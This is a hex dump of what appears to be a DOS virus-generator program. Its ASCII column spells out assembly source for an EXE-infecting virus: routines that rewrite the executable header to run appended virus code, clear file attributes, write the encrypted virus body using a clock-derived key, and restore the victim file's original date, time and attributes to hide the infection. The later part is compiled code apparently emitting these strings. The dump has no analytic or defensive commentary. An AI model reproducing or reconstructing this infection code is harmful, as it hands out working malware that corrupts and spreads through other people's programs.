|00002dc0| 72 64 20 70 74 72 20 5b | 62 70 2b 73 74 61 63 6b |rd ptr [|bp+stack|
|00002dd0| 73 61 76 65 32 5d 2c 65 | 73 25 6d 6f 76 20 20 20 |save2],e|s%mov |
|00002de0| 20 20 77 6f 72 64 20 70 | 74 72 20 5b 62 70 2b 73 | word p|tr [bp+s|
|00002df0| 74 61 63 6b 73 61 76 65 | 32 2b 32 5d 2c 61 78 22 |tacksave|2+2],ax"|
|00002e00| 6d 6f 76 20 20 20 20 20 | 61 78 2c 20 77 6f 72 64 |mov |ax, word|
|00002e10| 20 70 74 72 20 5b 62 70 | 2b 62 75 66 66 65 72 2b | ptr [bp|+buffer+|
|00002e20| 38 5d 0f 67 65 74 20 68 | 65 61 64 65 72 20 73 69 |8].get h|eader si|
|00002e30| 7a 65 0c 6d 6f 76 20 20 | 20 20 20 63 6c 2c 34 0d |ze.mov | cl,4.|
|00002e40| 73 68 6c 20 20 20 20 20 | 61 78 2c 63 6c 0d 78 63 |shl |ax,cl.xc|
|00002e50| 68 67 20 20 20 20 61 78 | 2c 62 78 1d 6c 65 73 20 |hg ax|,bx.les |
|00002e60| 20 20 20 20 61 78 2c 5b | 62 70 2b 6f 66 66 73 65 | ax,[|bp+offse|
|00002e70| 74 20 44 54 41 2b 32 36 | 5d 17 67 65 74 20 66 69 |t DTA+26|].get fi|
|00002e80| 6c 65 73 20 73 69 7a 65 | 20 66 72 6f 6d 20 64 74 |les size| from dt|
|00002e90| 61 0d 6d 6f 76 20 20 20 | 20 20 64 78 2c 65 73 10 |a.mov | dx,es.|
|00002ea0| 69 74 73 20 6e 6f 77 20 | 69 6e 20 64 78 3a 61 78 |its now |in dx:ax|
|00002eb0| 0a 70 75 73 68 20 20 20 | 20 61 78 0a 73 61 76 65 |.push | ax.save|
|00002ec0| 20 74 68 65 73 65 0a 70 | 75 73 68 20 20 20 20 64 | these.p|ush d|
|00002ed0| 78 0d 73 75 62 20 20 20 | 20 20 61 78 2c 62 78 1f |x.sub | ax,bx.|
|00002ee0| 73 75 62 74 72 61 63 74 | 20 68 65 61 64 65 72 20 |subtract| header |
|00002ef0| 73 69 7a 65 20 66 72 6f | 6d 20 66 73 69 7a 65 0c |size fro|m fsize.|
|00002f00| 73 62 62 20 20 20 20 20 | 64 78 2c 30 16 73 75 62 |sbb |dx,0.sub|
|00002f10| 74 72 61 63 74 20 74 68 | 65 20 63 61 72 72 79 20 |tract th|e carry |
|00002f20| 74 6f 6f 0e 6d 6f 76 20 | 20 20 20 20 63 78 2c 31 |too.mov | cx,1|
|00002f30| 30 68 1e 63 6f 6e 76 65 | 72 74 20 74 6f 20 73 65 |0h.conve|rt to se|
|00002f40| 67 6d 65 6e 74 3a 6f 66 | 66 73 65 74 20 66 6f 72 |gment:of|fset for|
|00002f50| 6d 0a 64 69 76 20 20 20 | 20 20 63 78 23 6d 6f 76 |m.div | cx#mov|
|00002f60| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 5b 62 | wor|d ptr [b|
|00002f70| 70 2b 62 75 66 66 65 72 | 2b 31 34 68 5d 2c 64 78 |p+buffer|+14h],dx|
|00002f80| 11 70 75 74 20 69 6e 20 | 6e 65 77 20 68 65 61 64 |.put in |new head|
|00002f90| 65 72 23 6d 6f 76 20 20 | 20 20 20 77 6f 72 64 20 |er#mov | word |
|00002fa0| 70 74 72 20 5b 62 70 2b | 62 75 66 66 65 72 2b 31 |ptr [bp+|buffer+1|
|00002fb0| 36 68 5d 2c 61 78 05 63 | 73 3a 69 70 23 6d 6f 76 |6h],ax.c|s:ip#mov|
|00002fc0| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 5b 62 | wor|d ptr [b|
|00002fd0| 70 2b 62 75 66 66 65 72 | 2b 30 65 68 5d 2c 61 78 |p+buffer|+0eh],ax|
|00002fe0| 05 73 73 3a 73 70 23 6d | 6f 76 20 20 20 20 20 77 |.ss:sp#m|ov w|
|00002ff0| 6f 72 64 20 70 74 72 20 | 5b 62 70 2b 62 75 66 66 |ord ptr |[bp+buff|
|00003000| 65 72 2b 31 30 68 5d 2c | 69 64 13 70 75 74 20 69 |er+10h],|id.put i|
|00003010| 64 20 69 6e 20 66 6f 72 | 20 6c 61 74 65 72 0a 70 |d in for| later.p|
|00003020| 6f 70 20 20 20 20 20 64 | 78 18 67 65 74 20 74 68 |op d|x.get th|
|00003030| 65 20 66 69 6c 65 20 6c | 65 6e 67 74 68 20 62 61 |e file l|ength ba|
|00003040| 63 6b 0a 70 6f 70 20 20 | 20 20 20 61 78 14 61 64 |ck.pop | ax.ad|
|00003050| 64 20 20 20 20 20 61 78 | 2c 65 6f 66 2d 76 69 72 |d ax|,eof-vir|
|00003060| 75 73 0e 61 64 64 20 76 | 69 72 75 73 20 73 69 7a |us.add v|irus siz|
|00003070| 65 0c 61 64 63 20 20 20 | 20 20 64 78 2c 30 0e 61 |e.adc | dx,0.a|
|00003080| 64 64 20 77 69 74 68 20 | 63 61 72 72 79 0c 6d 6f |dd with |carry.mo|
|00003090| 76 20 20 20 20 20 63 6c | 2c 39 18 63 61 6c 63 75 |v cl|,9.calcu|
|000030a0| 6c 61 74 65 73 20 6e 65 | 77 20 66 69 6c 65 20 73 |lates ne|w file s|
|000030b0| 69 7a 65 0d 73 68 72 20 | 20 20 20 20 61 78 2c 63 |ize.shr | ax,c|
|000030c0| 6c 0d 72 6f 72 20 20 20 | 20 20 64 78 2c 63 6c 03 |l.ror | dx,cl.|
|000030d0| 73 74 63 0d 61 64 63 20 | 20 20 20 20 64 78 2c 61 |stc.adc | dx,a|
|000030e0| 78 0c 61 6e 64 20 20 20 | 20 20 61 68 2c 31 21 6d |x.and | ah,1!m|
|000030f0| 6f 76 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |ov w|ord ptr |
|00003100| 5b 62 70 2b 62 75 66 66 | 65 72 2b 34 5d 2c 64 78 |[bp+buff|er+4],dx|
|00003110| 1c 73 61 76 65 20 6e 65 | 77 20 66 69 6c 65 20 73 |.save ne|w file s|
|00003120| 69 7a 65 20 69 6e 20 68 | 65 61 64 65 72 21 6d 6f |ize in h|eader!mo|
|00003130| 76 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 5b |v wo|rd ptr [|
|00003140| 62 70 2b 62 75 66 66 65 | 72 2b 32 5d 2c 61 78 0a |bp+buffe|r+2],ax.|
|00003150| 70 75 73 68 20 20 20 20 | 63 73 07 65 73 20 3d 20 |push |cs.es = |
|00003160| 63 73 0a 70 6f 70 20 20 | 20 20 20 65 73 12 53 69 |cs.pop | es.Si|
|00003170| 7a 65 20 6f 66 20 45 58 | 45 20 68 65 61 64 65 72 |ze of EX|E header|
|00003180| 10 46 69 6e 69 73 68 49 | 6e 66 65 63 74 69 6f 6e |.FinishI|nfection|
|00003190| 3a 0a 70 75 73 68 20 20 | 20 20 63 78 18 73 61 76 |:.push | cx.sav|
|000031a0| 65 20 23 20 6f 66 20 62 | 79 74 65 73 20 74 6f 20 |e # of b|ytes to |
|000031b0| 77 72 69 74 65 0d 78 6f | 72 20 20 20 20 20 63 78 |write.xo|r cx|
|000031c0| 2c 63 78 15 53 65 74 20 | 61 74 74 72 69 75 74 65 |,cx.Set |attriute|
|000031d0| 73 20 74 6f 20 6e 6f 6e | 65 12 63 61 6c 6c 20 20 |s to non|e.call |
|000031e0| 20 20 61 74 74 72 69 62 | 75 74 65 73 0c 6d 6f 76 | attrib|utes.mov|
|000031f0| 20 20 20 20 20 61 6c 2c | 32 14 6f 70 65 6e 20 66 | al,|2.open f|
|00003200| 69 6c 65 20 72 65 61 64 | 2f 77 72 69 74 65 0e 6d |ile read|/write.m|
|00003210| 6f 76 20 20 20 20 20 61 | 68 2c 34 30 68 0d 57 72 |ov a|h,40h.Wr|
|00003220| 69 74 65 20 74 6f 20 66 | 69 6c 65 16 6c 65 61 20 |ite to f|ile.lea |
|00003230| 20 20 20 20 64 78 2c 5b | 62 70 2b 62 75 66 66 65 | dx,[|bp+buffe|
|00003240| 72 5d 11 4c 6f 63 61 74 | 69 6f 6e 20 6f 66 20 62 |r].Locat|ion of b|
|00003250| 79 74 65 73 0a 70 6f 70 | 20 20 20 20 20 63 78 1c |ytes.pop| cx.|
|00003260| 47 65 74 20 6e 75 6d 62 | 65 72 20 6f 66 20 62 79 |Get numb|er of by|
|00003270| 74 65 73 20 74 6f 20 77 | 72 69 74 65 11 6a 63 20 |tes to w|rite.jc |
|00003280| 20 20 20 20 20 63 6c 6f | 73 65 66 69 6c 65 0d 6d | clo|sefile.m|
|00003290| 6f 76 20 20 20 20 20 61 | 6c 2c 30 32 14 4d 6f 76 |ov a|l,02.Mov|
|000032a0| 65 20 46 70 6f 69 6e 74 | 65 72 20 74 6f 20 65 6f |e Fpoint|er to eo|
|000032b0| 66 0f 43 61 6c 6c 20 20 | 20 20 6d 6f 76 65 5f 66 |f.Call | move_f|
|000032c0| 70 09 67 65 74 5f 74 69 | 6d 65 3a 0e 6d 6f 76 20 |p.get_ti|me:.mov |
|000032d0| 20 20 20 20 61 68 2c 32 | 63 68 1d 47 65 74 20 74 | ah,2|ch.Get t|
|000032e0| 69 6d 65 20 66 6f 72 20 | 65 6e 63 72 79 70 74 69 |ime for |encrypti|
|000032f0| 6f 6e 20 76 61 6c 75 65 | 0c 63 6d 70 20 20 20 20 |on value|.cmp |
|00003300| 20 64 68 2c 30 23 49 66 | 20 69 74 73 20 73 65 63 | dh,0#If| its sec|
|00003310| 6f 6e 64 73 20 61 72 65 | 20 7a 65 72 6f 20 67 65 |onds are| zero ge|
|00003320| 74 20 61 6e 6f 74 68 65 | 72 10 6a 65 20 20 20 20 |t anothe|r.je |
|00003330| 20 20 67 65 74 5f 74 69 | 6d 65 19 6d 6f 76 20 20 | get_ti|me.mov |
|00003340| 20 20 20 5b 62 70 2b 65 | 6e 63 5f 76 61 6c 75 65 | [bp+e|nc_value|
|00003350| 5d 2c 64 68 20 55 73 65 | 20 73 65 63 6f 6e 64 73 |],dh Use| seconds|
|00003360| 20 76 61 6c 75 65 20 66 | 6f 72 20 65 6e 63 72 79 | value f|or encry|
|00003370| 70 74 69 6f 6e 16 6d 6f | 76 20 20 20 20 20 5b 65 |ption.mo|v [e|
|00003380| 6e 63 5f 76 61 6c 75 65 | 5d 2c 64 68 16 63 61 6c |nc_value|],dh.cal|
|00003390| 6c 20 20 20 20 65 6e 63 | 72 79 70 74 5f 69 6e 66 |l enc|rypt_inf|
|000033a0| 65 63 74 1b 45 6e 63 72 | 79 70 74 20 61 6e 64 20 |ect.Encr|ypt and |
|000033b0| 69 6e 66 65 63 74 20 74 | 68 65 20 66 69 6c 65 14 |infect t|he file.|
|000033c0| 69 6e 63 20 20 20 20 20 | 5b 62 70 2b 63 6f 75 6e |inc |[bp+coun|
|000033d0| 74 65 72 5d 15 49 6e 63 | 72 65 6d 65 6e 74 20 74 |ter].Inc|rement t|
|000033e0| 68 65 20 63 6f 75 6e 74 | 65 72 11 69 6e 63 20 20 |he count|er.inc |
|000033f0| 20 20 20 5b 63 6f 75 6e | 74 65 72 5d 0a 43 6c 6f | [coun|ter].Clo|
|00003400| 73 65 46 69 6c 65 3a 10 | 6d 6f 76 20 20 20 20 20 |seFile:.|mov |
|00003410| 61 78 2c 35 37 30 31 68 | 18 53 65 74 20 66 69 6c |ax,5701h|.Set fil|
|00003420| 65 73 20 64 61 74 65 2f | 74 69 6d 65 20 62 61 63 |es date/|time bac|
|00003430| 6b 20 6d 6f 76 20 20 20 | 20 20 63 78 2c 77 6f 72 |k mov | cx,wor|
|00003440| 64 20 70 74 72 20 5b 62 | 70 2b 64 74 61 2b 31 36 |d ptr [b|p+dta+16|
|00003450| 68 5d 15 47 65 74 20 6f | 6c 64 20 74 69 6d 65 20 |h].Get o|ld time |
|00003460| 66 72 6f 6d 20 64 74 61 | 20 6d 6f 76 20 20 20 20 |from dta| mov |
|00003470| 20 64 78 2c 77 6f 72 64 | 20 70 74 72 20 5b 62 70 | dx,word| ptr [bp|
|00003480| 2b 64 74 61 2b 31 38 68 | 5d 0c 47 65 74 20 6f 6c |+dta+18h|].Get ol|
|00003490| 64 20 64 61 74 65 0a 70 | 75 73 68 20 20 20 20 62 |d date.p|ush b|
|000034a0| 78 1c 6d 6f 76 20 20 20 | 20 20 63 78 2c 77 6f 72 |x.mov | cx,wor|
|000034b0| 64 20 70 74 72 20 5b 62 | 78 5d 2b 31 36 68 1c 6d |d ptr [b|x]+16h.m|
|000034c0| 6f 76 20 20 20 20 20 64 | 78 2c 77 6f 72 64 20 70 |ov d|x,word p|
|000034d0| 74 72 20 5b 62 78 5d 2b | 31 38 68 0a 70 6f 70 20 |tr [bx]+|18h.pop |
|000034e0| 20 20 20 20 62 78 20 6d | 6f 76 20 20 20 20 20 63 | bx m|ov c|
|000034f0| 6c 2c 62 79 74 65 20 70 | 74 72 20 5b 62 70 2b 64 |l,byte p|tr [bp+d|
|00003500| 74 61 2b 31 35 68 5d 12 | 47 65 74 20 6f 6c 64 20 |ta+15h].|Get old |
|00003510| 41 74 74 72 69 62 75 74 | 65 73 1c 6d 6f 76 20 20 |Attribut|es.mov |
|00003520| 20 20 20 63 6c 2c 62 79 | 74 65 20 70 74 72 20 5b | cl,by|te ptr [|
|00003530| 62 78 5d 2b 31 35 68 04 | 72 65 74 6e 55 89 e5 b8 |bx]+15h.|retnU...|
|00003540| 00 01 9a cd 02 12 07 81 | ec 00 01 80 3e 60 00 00 |........|....>`..|
|00003550| 74 0d bf 40 1d 0e 57 bf | 4b 1d 0e 57 e8 2a d6 80 |t..@..W.|K..W.*..|
|00003560| 3e 61 00 00 74 03 e9 ac | 00 80 3e 60 00 00 74 03 |>a..t...|..>`..t.|
|00003570| e9 a2 00 bf 40 1d 0e 57 | bf 4b 1d 0e 57 e8 09 d6 |....@..W|.K..W...|
|00003580| bf 4c 1d 0e 57 bf 5d 1d | 0e 57 e8 cf d4 bf 75 1d |.L..W.].|.W....u.|
|00003590| 0e 57 bf 4b 1d 0e 57 e8 | c2 d4 bf 92 0e 1e 57 9a |.W.K..W.|......W.|
|000035a0| dd 05 12 07 9a 91 02 12 | 07 bf 82 1d 0e 57 bf 91 |........|.....W..|
|000035b0| 1d 0e 57 e8 a6 d4 bf a0 | 1d 0e 57 bf af 1d 0e 57 |..W.....|..W....W|
|000035c0| e8 99 d4 bf bf 1d 0e 57 | bf dd 1d 0e 57 e8 8c d4 |.......W|....W...|
|000035d0| bf f4 1d 0e 57 bf 4b 1d | 0e 57 e8 7f d4 bf 92 0e |....W.K.|.W......|
|000035e0| 1e 57 9a dd 05 12 07 9a | 91 02 12 07 bf 00 1e 0e |.W......|........|
|000035f0| 57 bf 0f 1e 0e 57 e8 63 | d4 bf f4 1d 0e 57 bf 4b |W....W.c|.....W.K|
|00003600| 1d 0e 57 e8 56 d4 bf 92 | 0e 1e 57 9a dd 05 12 07 |..W.V...|..W.....|
|00003610| 9a 91 02 12 07 80 3e 91 | 08 30 76 66 80 3e 60 00 |......>.|.0vf.>`.|
|00003620| 00 75 0d bf 1a 1e 0e 57 | bf 3b 1e 0e 57 e8 2c d4 |.u.....W|.;..W.,.|
|00003630| 80 3e 60 00 00 74 0d bf | 51 1e 0e 57 bf 3b 1e 0e |.>`..t..|Q..W.;..|
|00003640| 57 e8 18 d4 8d be 00 ff | 16 57 bf 6f 1e 0e 57 9a |W.......|.W.o..W.|
|00003650| d3 0a 12 07 bf 90 08 1e | 57 9a 52 0b 12 07 bf 7b |........|W.R....{|
|00003660| 1e 0e 57 e8 f6 d3 bf 92 | 1e 0e 57 bf a5 1e 0e 57 |..W.....|..W....W|
|00003670| e8 e9 d3 bf 92 0e 1e 57 | 9a dd 05 12 07 9a 91 02 |.......W|........|
|00003680| 12 07 80 3e 91 07 30 76 | 3e 8d be 00 ff 16 57 bf |...>..0v|>.....W.|
|00003690| 6f 1e 0e 57 9a d3 0a 12 | 07 bf 90 07 1e 57 9a 52 |o..W....|.....W.R|
|000036a0| 0b 12 07 bf c1 1e 0e 57 | e8 b1 d3 bf d8 1e 0e 57 |.......W|.......W|
|000036b0| bf eb 1e 0e 57 e8 a4 d3 | bf 92 0e 1e 57 9a dd 05 |....W...|....W...|
|000036c0| 12 07 9a 91 02 12 07 80 | 3e 67 00 00 74 28 80 3e |........|>g..t(.>|
|000036d0| 66 00 00 74 21 80 3e 60 | 00 00 75 1a bf 07 1f 0e |f..t!.>`|..u.....|
|000036e0| 57 bf 29 1f 0e 57 e8 73 | d3 bf 3f 1f 0e 57 bf 50 |W.)..W.s|..?..W.P|
|000036f0| 1f 0e 57 e8 66 d3 80 3e | 66 00 00 75 03 e9 df 00 |..W.f..>|f..u....|
|00003700| 80 3e 63 00 00 75 72 80 | 3e 60 00 00 75 0d bf 60 |.>c..ur.|>`..u..`|
|00003710| 1f 0e 57 bf 80 1f 0e 57 | e8 41 d3 80 3e 60 00 00 |..W....W|.A..>`..|
|00003720| 74 1a bf 9b 1f 0e 57 bf | 4b 1d 0e 57 e8 2d d3 bf |t.....W.|K..W.-..|
|00003730| aa 1f 0e 57 bf 80 1f 0e | 57 e8 20 d3 bf c6 1f 0e |...W....|W. .....|
|00003740| 57 bf d6 1f 0e 57 e8 13 | d3 bf eb 1f 0e 57 bf fe |W....W..|.....W..|
|00003750| 1f 0e 57 e8 06 d3 80 3e | 60 00 00 74 0d bf 16 20 |..W....>|`..t... |
|00003760| 0e 57 bf 4b 1d 0e 57 e8 | f2 d2 bf 92 0e 1e 57 9a |.W.K..W.|......W.|
|00003770| dd 05 12 07 9a 91 02 12 | 07 80 3e 60 00 00 75 5f |........|..>`..u_|
|00003780| bf 2d 20 0e 57 bf 4b 1d | 0e 57 e8 fc d3 bf 37 20 |.- .W.K.|.W....7 |
|00003790| 0e 57 bf 5f 20 0e 57 e8 | c2 d2 bf 6d 20 0e 57 bf |.W._ .W.|...m .W.|
|000037a0| 92 20 0e 57 e8 b5 d2 bf | 9f 20 0e 57 bf 4b 1d 0e |. .W....|. .W.K..|
|000037b0| 57 e8 a8 d2 bf 92 0e 1e | 57 9a dd 05 12 07 9a 91 |W.......|W.......|
|000037c0| 02 12 07 bf b2 20 0e 57 | bf 4b 1d 0e 57 e8 8c d2 |..... .W|.K..W...|
|000037d0| bf 92 0e 1e 57 9a dd 05 | 12 07 9a 91 02 12 07 80 |....W...|........|
|000037e0| 3e 67 00 00 74 4a 80 3e | 60 00 00 75 43 bf c4 20 |>g..tJ.>|`..uC.. |
|000037f0| 0e 57 bf 4b 1d 0e 57 e8 | 8f d3 bf ce 20 0e 57 bf |.W.K..W.|.... .W.|
|00003800| f2 20 0e 57 e8 55 d2 bf | eb 1f 0e 57 bf 0a 21 0e |. .W.U..|...W..!.|
|00003810| 57 e8 48 d2 bf 27 21 0e | 57 bf 4b 1d 0e 57 e8 3b |W.H..'!.|W.K..W.;|
|00003820| d2 bf 92 0e 1e 57 9a dd | 05 12 07 9a 91 02 12 07 |.....W..|........|
|00003830| 80 3e 61 00 00 75 29 bf | 39 21 0e 57 bf 4b 1d 0e |.>a..u).|9!.W.K..|
|00003840| 57 e8 45 d3 bf 45 21 0e | 57 bf 4b 1d 0e 57 e8 0b |W.E..E!.|W.K..W..|
|00003850| d2 bf 92 0e 1e 57 9a dd | 05 12 07 9a 91 02 12 07 |.....W..|........|
|00003860| 80 3e 66 00 00 75 03 e9 | c4 00 80 3e 60 00 00 74 |.>f..u..|...>`..t|
|00003870| 03 e9 ba 00 bf 49 21 0e | 57 bf 4b 1d 0e 57 e8 08 |.....I!.|W.K..W..|
|00003880| d3 bf 54 21 0e 57 bf 61 | 21 0e 57 e8 ce d1 bf 75 |..T!.W.a|!.W....u|
|00003890| 21 0e 57 bf 8c 21 0e 57 | e8 c1 d1 bf a4 21 0e 57 |!.W..!.W|.....!.W|
|000038a0| bf 4b 1d 0e 57 e8 b4 d1 | bf bc 21 0e 57 bf 4b 1d |.K..W...|..!.W.K.|
|000038b0| 0e 57 e8 a7 d1 bf c2 21 | 0e 57 bf 4b 1d 0e 57 e8 |.W.....!|.W.K..W.|
|000038c0| 9a d1 bf c2 21 0e 57 bf | 4b 1d 0e 57 e8 8d d1 bf |....!.W.|K..W....|
|000038d0| c8 21 0e 57 bf ea 21 0e | 57 e8 80 d1 bf f9 21 0e |.!.W..!.|W.....!.|
|000038e0| 57 bf 1b 22 0e 57 e8 73 | d1 bf 92 0e 1e 57 9a dd |W..".W.s|.....W..|
|000038f0| 05 12 07 9a 91 02 12 07 | bf 29 22 0e 57 bf 4b 22 |........|.)".W.K"|
|00003900| 0e 57 e8 57 d1 bf 55 22 | 0e 57 bf 62 22 0e 57 e8 |.W.W..U"|.W.b".W.|
|00003910| 4a d1 bf 92 0e 1e 57 9a | dd 05 12 07 9a 91 02 12 |J.....W.|........|
|00003920| 07 bf 7b 22 0e 57 bf 4b | 1d 0e 57 e8 2e d1 80 3e |..{".W.K|..W....>|
|00003930| 67 00 00 75 03 e9 a8 02 | 80 3e 60 00 00 74 03 e9 |g..u....|.>`..t..|
|00003940| 9e 02 bf 93 22 0e 57 bf | 4b 1d 0e 57 e8 3a d2 bf |....".W.|K..W.:..|
|00003950| 9e 22 0e 57 bf c3 22 0e | 57 e8 00 d1 bf dc 22 0e |.".W..".|W.....".|
|00003960| 57 bf fe 22 0e 57 e8 f3 | d0 bf 0d 23 0e 57 bf 4b |W..".W..|...#.W.K|
|00003970| 1d 0e 57 e8 e6 d0 bf 92 | 0e 1e 57 9a dd 05 12 07 |..W.....|..W.....|
|00003980| 9a 91 02 12 07 bf 31 23 | 0e 57 bf 56 23 0e 57 e8 |......1#|.W.V#.W.|
|00003990| ca d0 bf 65 23 0e 57 bf | fe 22 0e 57 e8 bd d0 bf |...e#.W.|.".W....|
|000039a0| 89 23 0e 57 bf 4b 1d 0e | 57 e8 b0 d0 bf 92 0e 1e |.#.W.K..|W.......|
|000039b0| 57 9a dd 05 12 07 9a 91 | 02 12 07 bf af 23 0e 57 |W.......|.....#.W|
|000039c0| bf d2 23 0e 57 e8 94 d0 | bf e2 23 0e 57 bf 4b 1d |..#.W...|..#.W.K.|
|000039d0| 0e 57 e8 87 d0 bf ef 23 | 0e 57 bf 4b 1d 0e 57 e8 |.W.....#|.W.K..W.|
|000039e0| 7a d0 bf fd 23 0e 57 bf | 4b 1d 0e 57 e8 6d d0 bf |z...#.W.|K..W.m..|
|000039f0| 0b 24 0e 57 bf 29 24 0e | 57 e8 60 d0 bf 41 24 0e |.$.W.)$.|W.`..A$.|
|00003a00| 57 bf 4f 24 0e 57 e8 53 | d0 bf 60 24 0e 57 bf 6b |W.O$.W.S|..`$.W.k|
|00003a10| 24 0e 57 e8 46 d0 bf 76 | 24 0e 57 bf 4b 1d 0e 57 |$.W.F..v|$.W.K..W|
|00003a20| e8 39 d0 bf 92 0e 1e 57 | 9a dd 05 12 07 9a 91 02 |.9.....W|........|
|00003a30| 12 07 bf 81 24 0e 57 bf | 8f 24 0e 57 e8 1d d0 bf |....$.W.|.$.W....|
|00003a40| af 24 0e 57 bf bc 24 0e | 57 e8 10 d0 bf d3 24 0e |.$.W..$.|W.....$.|
|00003a50| 57 bf e2 24 0e 57 e8 03 | d0 bf 01 25 0e 57 bf 4b |W..$.W..|...%.W.K|
|00003a60| 1d 0e 57 e8 f6 cf bf 92 | 0e 1e 57 9a dd 05 12 07 |..W.....|..W.....|
|00003a70| 9a 91 02 12 07 bf 0c 25 | 0e 57 bf 30 25 0e 57 e8 |.......%|.W.0%.W.|
|00003a80| da cf bf 42 25 0e 57 bf | 66 25 0e 57 e8 cd cf bf |...B%.W.|f%.W....|
|00003a90| 92 0e 1e 57 9a dd 05 12 | 07 9a 91 02 12 07 bf 6c |...W....|.......l|
|00003aa0| 25 0e 57 bf 90 25 0e 57 | e8 b1 cf bf 96 25 0e 57 |%.W..%.W|.....%.W|
|00003ab0| bf ba 25 0e 57 e8 a4 cf | bf ce 25 0e 57 bf d9 25 |..%.W...|..%.W..%|
|00003ac0| 0e 57 e8 97 cf bf f2 25 | 0e 57 bf 4b 1d 0e 57 e8 |.W.....%|.W.K..W.|
|00003ad0| 8a cf bf 92 0e 1e 57 9a | dd 05 12 07 9a 91 02 12 |......W.|........|
|00003ae0| 07 bf fd 25 0e 57 bf 12 | 26 0e 57 e8 6e cf bf 21 |...%.W..|&.W.n..!|
|00003af0| 26 0e 57 bf 2e 26 0e 57 | e8 61 cf bf 92 0e 1e 57 |&.W..&.W|.a.....W|
|00003b00| 9a dd 05 12 07 9a 91 02 | 12 07 bf 3d 26 0e 57 bf |........|...=&.W.|
|00003b10| 4a 26 0e 57 e8 45 cf bf | 60 24 0e 57 bf 4b 1d 0e |J&.W.E..|`$.W.K..|
|00003b20| 57 e8 38 cf bf 63 26 0e | 57 bf 4b 1d 0e 57 e8 2b |W.8..c&.|W.K..W.+|
|00003b30| cf bf 71 26 0e 57 bf 4b | 1d 0e 57 e8 1e cf bf 7f |..q&.W.K|..W.....|
|00003b40| 26 0e 57 bf 4b 1d 0e 57 | e8 11 cf bf 83 26 0e 57 |&.W.K..W|.....&.W|
|00003b50| bf 4b 1d 0e 57 e8 04 cf | bf f2 25 0e 57 bf 4b 1d |.K..W...|..%.W.K.|
|00003b60| 0e 57 e8 f7 ce bf 91 26 | 0e 57 bf 4b 1d 0e 57 e8 |.W.....&|.W.K..W.|
|00003b70| ea ce bf 92 0e 1e 57 9a | dd 05 12 07 9a 91 02 12 |......W.|........|
|00003b80| 07 bf 9e 26 0e 57 bf c0 | 26 0e 57 e8 ce ce bf dd |...&.W..|&.W.....|
|00003b90| 26 0e 57 bf 4b 1d 0e 57 | e8 c1 ce bf 92 0e 1e 57 |&.W.K..W|.......W|
|00003ba0| 9a dd 05 12 07 9a 91 02 | 12 07 bf ff 26 0e 57 bf |........|....&.W.|
|00003bb0| 0a 27 0e 57 e8 a5 ce bf | 12 27 0e 57 bf 4b 1d 0e |.'.W....|.'.W.K..|
|00003bc0| 57 e8 98 ce bf 92 0e 1e | 57 9a dd 05 12 07 9a 91 |W.......|W.......|
|00003bd0| 02 12 07 bf a0 1d 0e 57 | bf 1d 27 0e 57 e8 7c ce |.......W|..'.W.|.|
|00003be0| 80 3e 61 00 00 74 03 e9 | f3 00 bf 30 27 0e 57 bf |.>a..t..|...0'.W.|
|00003bf0| 4b 1d 0e 57 e8 92 cf 80 | 3e 60 00 00 75 0d bf 41 |K..W....|>`..u..A|
|00003c00| 27 0e 57 bf 4c 27 0e 57 | e8 51 ce bf 65 27 0e 57 |'.W.L'.W|.Q..e'.W|
|00003c10| bf 73 27 0e 57 e8 44 ce | bf 89 27 0e 57 bf 4b 1d |.s'.W.D.|..'.W.K.|
|00003c20| 0e 57 e8 37 ce bf 92 0e | 1e 57 9a dd 05 12 07 9a |.W.7....|.W......|
|00003c30| 91 02 12 07 bf 9c 27 0e | 57 bf a9 27 0e 57 e8 1b |......'.|W..'.W..|
|00003c40| ce bf 75 1d 0e 57 bf 4b | 1d 0e 57 e8 0e ce bf 92 |..u..W.K|..W.....|
|00003c50| 0e 1e 57 9a dd 05 12 07 | 9a 91 02 12 07 80 3e 60 |..W.....|......>`|
|00003c60| 00 00 75 79 bf be 27 0e | 57 bf cd 27 0e 57 e8 eb |..uy..'.|W..'.W..|
|00003c70| cd bf db 27 0e 57 bf f2 | 27 0e 57 e8 de cd bf 04 |...'.W..|'.W.....|
|00003c80| 28 0e 57 bf 0f 28 0e 57 | e8 d1 cd bf f4 1d 0e 57 |(.W..(.W|.......W|
|00003c90| bf 4b 1d 0e 57 e8 c4 cd | bf 2c 28 0e 57 bf 4b 1d |.K..W...|.,(.W.K.|
|00003ca0| 0e 57 e8 b7 cd bf 92 0e | 1e 57 9a dd 05 12 07 9a |.W......|.W......|
|00003cb0| 91 02 12 07 bf 3e 28 0e | 57 bf 4c 28 0e 57 e8 9b |.....>(.|W.L(.W..|
|00003cc0| cd bf 61 28 0e 57 bf 4b | 1d 0e 57 e8 8e cd bf 92 |..a(.W.K|..W.....|
|00003cd0| 0e 1e 57 9a dd 05 12 07 | 9a 91 02 12 07 80 3e 65 |..W.....|......>e|
|00003ce0| 00 00 75 03 e9 a0 00 80 | 3e 61 00 00 74 03 e9 96 |..u.....|>a..t...|
|00003cf0| 00 bf 71 28 0e 57 bf 4b | 1d 0e 57 e8 8b ce bf 7b |..q(.W.K|..W....{|
|00003d00| 28 0e 57 bf 8a 28 0e 57 | e8 51 cd bf f4 1d 0e 57 |(.W..(.W|.Q.....W|
|00003d10| bf 4b 1d 0e 57 e8 44 cd | bf a8 28 0e 57 bf b5 28 |.K..W.D.|..(.W..(|
|00003d20| 0e 57 e8 37 cd bf d9 28 | 0e 57 bf 4b 1d 0e 57 e8 |.W.7...(|.W.K..W.|
|00003d30| 2a cd 80 3e 60 00 00 75 | 0d bf ea 28 0e 57 bf 04 |*..>`..u|...(.W..|
|00003d40| 29 0e 57 e8 16 cd 80 3e | 60 00 00 74 0d bf 25 29 |).W....>|`..t..%)|
|00003d50| 0e 57 bf 04 29 0e 57 e8 | 02 cd bf 92 0e 1e 57 9a |.W..).W.|......W.|
|00003d60| dd 05 12 07 9a 91 02 12 | 07 bf 3c 29 0e 57 bf 53 |........|..<).W.S|
|00003d70| 29 0e 57 e8 e6 cc bf 92 | 0e 1e 57 9a dd 05 12 07 |).W.....|..W.....|
|00003d80| 9a 91 02 12 07 eb 04 55 | e8 92 e9 80 3e 91 06 30 |.......U|....>..0|
|00003d90| 76 37 80 3e 60 00 00 75 | 0d bf 6f 29 0e 57 bf 84 |v7.>`..u|..o).W..|
